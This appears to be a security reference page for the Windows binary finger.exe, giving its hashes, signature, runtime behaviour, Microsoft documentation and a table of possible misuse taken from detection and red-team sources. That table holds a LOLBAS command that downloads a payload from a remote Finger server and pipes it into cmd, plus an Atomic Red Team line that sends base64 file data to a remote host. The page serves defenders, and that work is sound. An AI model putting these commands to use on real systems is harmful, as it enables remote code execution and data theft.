finger.exe

  • File Path: C:\Windows\system32\finger.exe
  • Description: TCPIP Finger Command

Hashes

Type Hash
MD5 C9085755F831F1345CF2B0A309095522
SHA1 4C7D686DE444BB2101934350A9357BF95260F4B4
SHA256 D6C52EA560D6009505545E53C481F1D75579E11DADE120CF164EBD196824BA91
SHA384 E6E76C1B0F724AEEA555243155F05623A582B4837D3AE365781A39EC360DD6831608DC07BDBD62C705F9B19AC376D71D
SHA512 69FCF92EBE2E86EC0160B785740979E48FE87E79DDE225ABBA27CCC7028DF071416532F5B310FF0051F4949E91B509C1A7A04771B91FABB1724583F8FF5C0622
SSDEEP 384:LgY+HjG7lsZSy9x6R58lSGQ7O7+VjNbKfWl0W:ETWUmVjAq
IMP E15D0366B0329E559CFF2A7B0126BA16
PESHA1 A442D917D4FE5EBA502EE4B5736D1EAEC2290834
PE256 DBE5062B44BFBD35D2839FAFF89618CE59472C452AE391777F1DB6B6B6C71DC8

Runtime Data

Usage (stdout):


[18ce68cb-4304-4445-a952-d165bf86113f]

Usage (stderr):


Displays information about a user on a specified system running the
Finger service. Output varies based on the remote system.

FINGER [-l] [user]@host [...]

  -l        Displays information in long list format.
  user      Specifies the user you want information about. Omit the user
            parameter to display information about all users on the
            specifed host.
  @host     Specifies the server on the remote system whose users you
            want information about.


Child Processes:

conhost.exe

Open Handles:

Path Type
(R-D) C:\Windows\System32\en-US\finger.exe.mui File
(RW-) C:\Users\user File
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2 Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section

Loaded Modules:

Path
C:\Windows\system32\finger.exe
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\SYSTEM32\ntdll.dll

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: finger.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.19041.1 (WinBuild.160101.0800)
  • Product Version: 10.0.19041.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/75
  • VirusTotal Link: https://www.virustotal.com/gui/file/d6c52ea560d6009505545e53c481f1d75579e11dade120cf164ebd196824ba91/detection

Possible Misuse

The following table contains possible examples of finger.exe being misused. While finger.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma proc_creation_win_susp_finger_usage.yml title: Finger.exe Suspicious Invocation DRL 1.0
sigma proc_creation_win_susp_finger_usage.yml description: Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays DRL 1.0
sigma proc_creation_win_susp_finger_usage.yml Image\|endswith: '\finger.exe' DRL 1.0
sigma proc_creation_win_susp_finger_usage.yml - Admin activity (unclear what they do nowadays with finger.exe) DRL 1.0
LOLBAS Finger.yml Name: Finger.exe  
LOLBAS Finger.yml Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon  
LOLBAS Finger.yml - Command: finger user@example.host.com \| more +2 \| cmd  
LOLBAS Finger.yml Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.'  
LOLBAS Finger.yml - Path: c:\windows\system32\finger.exe  
LOLBAS Finger.yml - Path: c:\windows\syswow64\finger.exe  
LOLBAS Finger.yml - IOC: finger.exe should not be run on a normal workstation.  
LOLBAS Finger.yml - IOC: finger.exe connecting to external resources.  
malware-ioc nouns.txt finger © ESET 2014-2018
atomic-red-team index.md - Atomic Test #16: File download with finger.exe on Windows [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #16: File download with finger.exe on Windows [windows] MIT License. © 2018 Red Canary
atomic-red-team T1105.md - Atomic Test #16 - File download with finger.exe on Windows MIT License. © 2018 Red Canary
atomic-red-team T1105.md ## Atomic Test #16 - File download with finger.exe on Windows MIT License. © 2018 Red Canary
atomic-red-team T1105.md Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server. MIT License. © 2018 Red Canary
atomic-red-team T1105.md https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/ MIT License. © 2018 Red Canary
atomic-red-team T1105.md finger base64_filedata@#{remote_host} MIT License. © 2018 Red Canary

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.


finger

Applies to: Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012

Displays information about users on a specified remote computer (typically a computer running UNIX) that is running the finger service or daemon. The remote computer specifies the format and output of the user information display. Used without parameters, finger displays help.

[!IMPORTANT] This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections.

Syntax

finger [-l] [<user>] [@<host>] [...]

Parameters

Parameter Description
-l Displays user information in long list format.
<user> Specifies the user about which you want information. If you omit the user parameter, this command displays information about all users on the specified computer.
@<host> Specifies the remote computer running the finger service where you are looking for user information. You can specify a computer name or IP address.
/? Displays help at the command prompt.
Remarks
  • You must prefix finger parameters with a hyphen (-) rather than a slash (/).

  • Multiple user@host parameters can be specified.

Examples

To display information for user1 on the computer users.microsoft.com, type:

finger user1@users.microsoft.com

To display information for all users on the computer users.microsoft.com, type:

finger @users.microsoft.com

Additional References


MIT License. Copyright (c) 2020-2021 Strontic.